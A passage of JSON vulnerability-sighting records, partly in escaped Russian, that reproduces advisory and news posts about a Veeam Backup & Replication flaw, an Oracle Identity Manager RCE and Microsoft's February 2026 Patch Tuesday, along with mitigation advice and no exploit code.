\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0441\u0440\u0435\u0434\u0441\u0442\u0432 \u043c\u0435\u0436\u0441\u0435\u0442\u0435\u0432\u043e\u0433\u043e \u044d\u043a\u0440\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0443\u0440\u043e\u0432\u043d\u044f \u0432\u0435\u0431-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439 (WAF) \u0434\u043b\u044f \u0444\u0438\u043b\u044c\u0442\u0440\u0430\u0446\u0438\u0438 \u0441\u0435\u0442\u0435\u0432\u043e\u0433\u043e \u0442\u0440\u0430\u0444\u0438\u043a\u0430;\n- \u0441\u0435\u0433\u043c\u0435\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0441\u0435\u0442\u0438 \u0434\u043b\u044f \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u043c\u0443 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u043c\u0443 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044e;\n- \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 SIEM-\u0441\u0438\u0441\u0442\u0435\u043c \u0434\u043b\u044f \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u043d\u0438\u044f \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439, \u043d\u0435 \u043f\u0440\u043e\u0448\u0435\u0434\u0448\u0438\u0445 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e;\n- \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u0438\u0437 \u0432\u043d\u0435\u0448\u043d\u0438\u0445 \u0441\u0435\u0442\u0435\u0439 (\u0418\u043d\u0442\u0435\u0440\u043d\u0435\u0442).\n\n\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0439:\nhttps://www.oracle.com/security-alerts/alert-cve-2026-21992.html", "creation_timestamp": "2026-03-23T14:28:54.000000Z"}, {"uuid": "817ca762-a8d4-4929-9529-caaa2b861b69", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21666", "type": "published-proof-of-concept", "source": "https://t.me/bdufstecru/3015", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u0440\u0435\u0437\u0435\u0440\u0432\u043d\u043e\u0433\u043e \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0441\u0440\u0435\u0434\u0441\u0442\u0432\u0430 \u0437\u0430\u0449\u0438\u0442\u044b \u043e\u0431\u043b\u0430\u0447\u043d\u044b\u0445, \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0445 \u0438 \u0444\u0438\u0437\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0441\u0438\u0441\u0442\u0435\u043c Veeam Backup & Replication \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043e\u0448\u0438\u0431\u043a\u0430\u043c\u0438 \u0440\u0430\u0437\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u0430. \u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u043d\u0430\u0440\u0443\u0448\u0438\u0442\u0435\u043b\u044e, \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u043c\u0443 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e, \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434\n\nBDU:2026-03174\nCVE-2026-21666\n\n\u0423\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0439 \u0438\u0437 \u0434\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0445 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u0432. \u0412 \u0441\u0432\u044f\u0437\u0438 \u0441\u043e \u0441\u043b\u043e\u0436\u0438\u0432\u0448\u0435\u0439\u0441\u044f \u043e\u0431\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u043e\u0439 \u0438 \u0432\u0432\u0435\u0434\u0435\u043d\u043d\u044b\u043c\u0438 \u0441\u0430\u043d\u043a\u0446\u0438\u044f\u043c\u0438 \u043f\u0440\u043e\u0442\u0438\u0432 \u0420\u043e\u0441\u0441\u0438\u0439\u0441\u043a\u043e\u0439 \u0424\u0435\u0434\u0435\u0440\u0430\u0446\u0438\u0438 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0442\u044c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0433\u043e \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u043e\u0441\u043b\u0435 \u043e\u0446\u0435\u043d\u043a\u0438 \u0432\u0441\u0435\u0445 \u0441\u043e\u043f\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0445 \u0440\u0438\u0441\u043a\u043e\u0432.\n\n\u041a\u043e\u043c\u043f\u0435\u043d\u0441\u0438\u0440\u0443\u044e\u0449\u0438\u0435 \u043c\u0435\u0440\u044b:\n- \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0441\u0440\u0435\u0434\u0441\u0442\u0432 \u043c\u0435\u0436\u0441\u0435\u0442\u0435\u0432\u043e\u0433\u043e \u044d\u043a\u0440\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0434\u043b\u044f \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u043c\u0443 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u043c\u0443 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044e;\n- \u0441\u0435\u0433\u043c\u0435\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0441\u0435\u0442\u0438 \u0434\u043b\u044f \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u043c\u0443 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u043c\u0443 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044e;\n- \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 SIEM-\u0441\u0438\u0441\u0442\u0435\u043c \u0434\u043b\u044f \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u043d\u0438\u044f \u043f\u043e\u043f\u044b\u0442\u043e\u043a \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438;\n- \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0445 \u0447\u0430\u0441\u0442\u043d\u044b\u0445 \u0441\u0435\u0442\u0435\u0439 \u0434\u043b\u044f \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 (VPN);\n- \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u0438\u0437 \u0432\u043d\u0435\u0448\u043d\u0438\u0445 \u0441\u0435\u0442\u0435\u0439 (\u0418\u043d\u0442\u0435\u0440\u043d\u0435\u0442).\n\n\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0439:\nhttps://www.veeam.com/kb4830", "creation_timestamp": "2026-03-16T14:55:38.000000Z"}, {"uuid": "c741320b-5791-45d0-8c82-7eb1b1c022a7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21992", "type": "published-proof-of-concept", "source": "https://t.me/thehackernews/8647", "content": "\ud83d\udea8 Oracle fixed a 9.8 \u201ceasily exploitable\u201d RCE flaw in Identity Manager and Web Services Manager, allowing unauthenticated attackers to execute code over HTTP and take full control of systems.\n\n\ud83d\udd17 Read \u2192 https://thehackernews.com/2026/03/oracle-patches-critical-cve-2026-21992.html", "creation_timestamp": "2026-03-21T13:30:54.000000Z"}, {"uuid": "11177cc1-3a10-41a3-afba-3c2e49ee4d85", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21992", "type": "seen", "source": "https://t.me/ctinow/247542", "content": "Oracle fixes critical RCE flaw CVE-2026-21992 in Identity Manager\nhttps://ift.tt/Tmk2NSW", "creation_timestamp": "2026-03-22T15:49:44.000000Z"}, {"uuid": "d0822c08-55fb-464a-9371-aa78042d32af", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21522", "type": "seen", "source": "https://t.me/kasperskyb2b/2078", "content": "\ud83d\udc98 \u0424\u0435\u0432\u0440\u0430\u043b\u044c\u0441\u043a\u0438\u0439 Patch Tuesday: \u0428\u0415\u0421\u0422\u042c \ud83d\udd25 \u0437\u0438\u0440\u043e\u0434\u0435\u0435\u0432 \u0432 \u00ab\u0433\u043e\u0440\u044f\u0447\u0438\u0439\u00bb \u0441\u0435\u0437\u043e\u043d\n\nMicrosoft \u0434\u0430\u0440\u0438\u0442 \u0432\u0441\u0435\u043c \u0432\u043b\u044e\u0431\u043b\u0451\u043d\u043d\u044b\u043c \u043f\u0430\u043a\u0435\u0442 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0439, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u0443 \u043f\u0430\u0442\u0447\u0435\u0439 \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u043e, \u043d\u043e \u0432\u043f\u0435\u0447\u0430\u0442\u043b\u044f\u0435\u0442 \u0447\u0438\u0441\u043b\u043e\u043c \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c\u044b\u0445 \u0437\u0438\u0440\u043e\u0434\u0435\u0435\u0432. \u0412\u0441\u0435\u0433\u043e \u0437\u0430\u043a\u0440\u044b\u0442\u043e 58 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 (62 \u0441 \u0443\u0447\u0435\u0442\u043e\u043c \u0441\u0442\u043e\u0440\u043e\u043d\u043d\u0438\u0445 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u043e\u0432), \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 5 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 (3 EoP \u0438 2 \u0443\u0442\u0435\u0447\u043a\u0430 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438). \u0412\u0441\u0435\u0433\u043e 25 \u0434\u0435\u0444\u0435\u043a\u0442\u043e\u0432 \u043f\u0440\u0438\u0432\u043e\u0434\u044f\u0442 \u043a \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044e \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439, 12 \u2014 \u043a \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430, 7 \u2014 \u0441\u043f\u0443\u0444\u0438\u043d\u0433\u0443, 6 \u2014 \u0440\u0430\u0437\u0433\u043b\u0430\u0448\u0435\u043d\u0438\u044e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438, 5 \u2014 \u043a \u043e\u0431\u0445\u043e\u0434\u0443 \u0444\u0443\u043d\u043a\u0446\u0438\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 3 \u2014 \u043a \u043e\u0442\u043a\u0430\u0437\u0443 \u0432 \u043e\u0431\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u043d\u0438\u0438. \n\n\u0426\u0435\u043b\u044b\u0445 6 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c\u0438, \u0442\u0440\u0438 \u0438\u0437 \u043d\u0438\u0445 Microsoft  \u043e\u0442\u043c\u0435\u0447\u0430\u0435\u0442 \u043a\u0430\u043a \u0440\u0430\u0437\u0433\u043b\u0430\u0448\u0451\u043d\u043d\u044b\u0435 \u0435\u0449\u0451 \u0434\u043e \u0432\u044b\u0445\u043e\u0434\u0430 \u043f\u0430\u0442\u0447\u0435\u0439, \u043d\u043e \u043d\u0435\u043f\u043e\u043d\u044f\u0442\u043d\u043e, \u0433\u0434\u0435 \u044d\u0442\u043e \u0440\u0430\u0437\u0433\u043b\u0430\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u043b\u043e. \u0412 \u043b\u044e\u0431\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435, \u0441 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u043e\u0439 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0439 \u043b\u0443\u0447\u0448\u0435 \u043d\u0435 \u0442\u044f\u043d\u0443\u0442\u044c.\n\n\ud83d\udd25 \u0410\u043a\u0442\u0438\u0432\u043d\u0430\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \n\n\ud83d\udfe2 CVE-2026-21510 (CVSS 8.8) \u2014 \u043e\u0431\u0445\u043e\u0434 \u0444\u0443\u043d\u043a\u0446\u0438\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 Windows Shell. \u0410\u0442\u0430\u043a\u0443\u044e\u0449\u0435\u043c\u0443 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0443\u0431\u0435\u0434\u0438\u0442\u044c \u0436\u0435\u0440\u0442\u0432\u0443 \u043e\u0442\u043a\u0440\u044b\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u044f\u0440\u043b\u044b\u043a \u0438\u043b\u0438 \u0441\u0441\u044b\u043b\u043a\u0443, \u0447\u0442\u043e\u0431\u044b \u043e\u0431\u043e\u0439\u0442\u0438 SmartScreen \u0438 Mark of the Web. \u0417\u0430 \u0440\u0430\u0437\u0433\u043b\u0430\u0448\u0435\u043d\u0438\u0435 \u0431\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u044f\u0442 \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b, \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u043e\u0433\u043e \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0438 Google TAG, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u043c\u0430\u0441\u0448\u0442\u0430\u0431\u043d\u0430.\n\n\ud83d\udfe2 CVE-2026-21513 (CVSS 8.8) \u2014 \u043e\u0431\u0445\u043e\u0434 \u0444\u0443\u043d\u043a\u0446\u0438\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0432 MSHTML (\u043f\u0440\u0438\u0432\u0435\u0442, Internet Explorer). \u0414\u0430, IE \u043c\u0451\u0440\u0442\u0432, \u043d\u043e \u0435\u0433\u043e \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u044b \u0432\u0441\u0451 \u0435\u0449\u0435 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u0434. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0440\u0430\u0437\u0433\u043b\u0430\u0448\u0435\u043d\u0430 \u0442\u0430\u043a\u043e\u0439 \u0436\u0435 \u0441\u0431\u043e\u0440\u043d\u043e\u0439 \u043a\u043e\u043c\u0430\u043d\u0434\u043e\u0439 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439.\n\n\ud83d\udfe2 CVE-2026-21514 (CVSS 7.8) \u2014 \u043e\u0431\u0445\u043e\u0434 \u0437\u0430\u0449\u0438\u0442\u044b \u0432 Microsoft Word. \u041f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c \u043e\u043f\u0430\u0441\u043d\u044b\u0435 COM/OLE \u043e\u0431\u044a\u0435\u043a\u0442\u044b. \u0425\u043e\u0440\u043e\u0448\u0430\u044f \u043d\u043e\u0432\u043e\u0441\u0442\u044c: \u0447\u0435\u0440\u0435\u0437 \u043f\u0430\u043d\u0435\u043b\u044c \u043f\u0440\u0435\u0434\u0432\u0430\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0430  \u0430\u0442\u0430\u043a\u0430 \u043d\u0435 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442. \u0417\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0431\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u044f\u0442 \u0432\u0441\u0451 \u0442\u0435\u0445 \u0436\u0435, \u043d\u043e \u043d\u0435\u043f\u043e\u043d\u044f\u0442\u043d\u043e, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438\u0441\u044c \u043b\u0438 \u044d\u0442\u0438 \u0442\u0440\u0438 \u0434\u0435\u0444\u0435\u043a\u0442\u0430 \u0432 \u043e\u0434\u043d\u043e\u0439 \u0430\u0442\u0430\u043a\u0435, \u0438\u043b\u0438 \u0440\u0430\u0437\u043d\u044b\u0445.\n\n\ud83d\udfe2 CVE-2026-21519 (CVSS 7.8) \u2014 EoP \u0432 Desktop Window Manager. \u0412\u0442\u043e\u0440\u043e\u0439 \u043c\u0435\u0441\u044f\u0446 \u043f\u043e\u0434\u0440\u044f\u0434 \u0432 DWM \u043d\u0430\u0445\u043e\u0434\u044f\u0442 \u0434\u044b\u0440\u0443, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u0445\u0430\u043a\u0435\u0440\u044b \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u043f\u0440\u0430\u0432 SYSTEM. \u0412\u043e\u0437\u043c\u043e\u0436\u043d\u043e, \u043f\u0440\u043e\u0448\u043b\u044b\u0439 \u043f\u0430\u0442\u0447 \u0431\u044b\u043b \u043d\u0435\u043f\u043e\u043b\u043d\u044b\u043c.\n\n\ud83d\udfe2 CVE-2026-21533 (CVSS 7.8) \u2014 EoP \u0432 \u0441\u043b\u0443\u0436\u0431\u0435 Remote Desktop Services. \u041d\u0435 \u0434\u0430\u0439\u0442\u0435 \u0441\u043b\u043e\u0432\u0443 Remote \u0432\u0430\u0441 \u043e\u0431\u043c\u0430\u043d\u0443\u0442\u044c \u2014 \u044d\u0442\u043e \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0435 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0434\u043e SYSTEM. \n\n\ud83d\udfe2 CVE-2026-21525 (CVSS 6.2) \u2014 \u043e\u0442\u043a\u0430\u0437 \u0432 \u043e\u0431\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u043d\u0438\u0438 \u0432 \u0434\u0438\u0441\u043f\u0435\u0442\u0447\u0435\u0440\u0435 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0439 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430. \u0420\u0435\u0434\u043a\u0438\u0439 \u0441\u043b\u0443\u0447\u0430\u0439, \u043a\u043e\u0433\u0434\u0430 \u0432 \u0434\u0438\u043a\u043e\u0439 \u043f\u0440\u0438\u0440\u043e\u0434\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0434\u043b\u044f DoS  \u0447\u0435\u0440\u0435\u0437 \u0440\u0430\u0437\u044b\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u0438\u0435 \u043d\u0443\u043b\u0435\u0432\u043e\u0433\u043e \u0443\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044f.\n\n\u2601\ufe0f  \u041e\u0431\u043b\u0430\u043a\u0430 \u0438 \u0418\u0418\n\u041f\u0440\u0438\u043c\u0435\u0447\u0430\u0442\u0435\u043b\u044c\u043d\u043e, \u0447\u0442\u043e \u0432\u0441\u0435 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0444\u0435\u0432\u0440\u0430\u043b\u044f \u043e\u0442\u043d\u043e\u0441\u044f\u0442\u0441\u044f \u043a Azure. \u041f\u043e\u0447\u0442\u0438 \u0432\u0441\u0435 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u044b Microsoft \u043d\u0430 \u0441\u0432\u043e\u0435\u0439 \u0441\u0442\u043e\u0440\u043e\u043d\u0435 \u0438 \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u044e\u0442 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0439 \u0441\u043e \u0441\u0442\u043e\u0440\u043e\u043d\u044b \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f, \u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u2014 CVE-2026-21522, \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0435 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0432 ACI Confidential Containers.\n\n\u0422\u0430\u043a\u0436\u0435 Microsoft \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u0442 \u043b\u0430\u0442\u0430\u0442\u044c \u0434\u044b\u0440\u044b \u0432 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430\u0445 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0441 \u0418\u0418. \u0417\u0430\u043a\u0440\u044b\u0442\u043e \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e RCE \u0432 GitHub Copilot \u0438 Visual Studio (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, CVE-2026-21523 \u0438 CVE-2026-21516), \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043a\u043e\u0434 \u043f\u0440\u0438 \u0440\u0430\u0431\u043e\u0442\u0435 \u0441 IDE. \u0412\u043f\u0440\u043e\u0447\u0435\u043c, \u043e\u043d\u0438 \u043e\u0442\u043d\u043e\u0441\u044f\u0442\u0441\u044f \u043a \u043a\u043b\u0430\u0441\u0441\u0438\u0447\u0435\u0441\u043a\u0438\u043c \u0442\u0438\u043f\u0430\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u044d\u0442\u043e \u043d\u0435 \u043f\u0440\u043e\u043c\u043f\u0442-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0438.\n\n\ud83d\udd10 Secure Boot\n\u0421 \u044d\u0442\u0438\u043c \u0430\u043f\u0434\u0435\u0439\u0442\u043e\u043c \u0430\u043a\u0442\u0438\u0432\u0438\u0437\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0432 Secure Boot. \u0421\u0442\u0430\u0440\u044b\u0435 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u044b 2011 \u0433\u043e\u0434\u0430 \u0438\u0441\u0442\u0435\u043a\u0430\u044e\u0442 \u0432 \u0438\u044e\u043d\u0435 2026, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 Windows \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442 \u043e\u0431\u043d\u043e\u0432\u043b\u044f\u0442\u044c \u0438\u0445 \u0442\u0430\u043c, \u0433\u0434\u0435 \u044d\u0442\u043e \u043d\u0435 \u0441\u043e\u0437\u0434\u0430\u0451\u0442 \u0440\u0438\u0441\u043a\u0430 \u00ab\u043e\u043a\u0438\u0440\u043f\u0438\u0447\u0438\u0442\u044c\u00bb \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440. \u0412 \u0440\u0430\u043c\u043a\u0430\u0445 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f Microsoft \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u0443\u0435\u0442 \u043c\u0430\u0448\u0438\u043d\u044b, \u0433\u0434\u0435 \u043f\u043e \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u043c \u043f\u0440\u0438\u0437\u043d\u0430\u043a\u0430\u043c \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0441\u0447\u0438\u0442\u0430\u0435\u0442\u0441\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0439, \u0438 \u0442\u043e\u0433\u0434\u0430 \u043f\u0440\u0438\u0441\u044b\u043b\u0430\u0435\u0442 \u0441\u0430\u043c\u0438 